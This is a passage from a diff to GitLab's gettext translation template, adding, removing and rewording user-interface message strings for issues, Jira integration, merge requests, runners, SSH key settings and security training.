-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
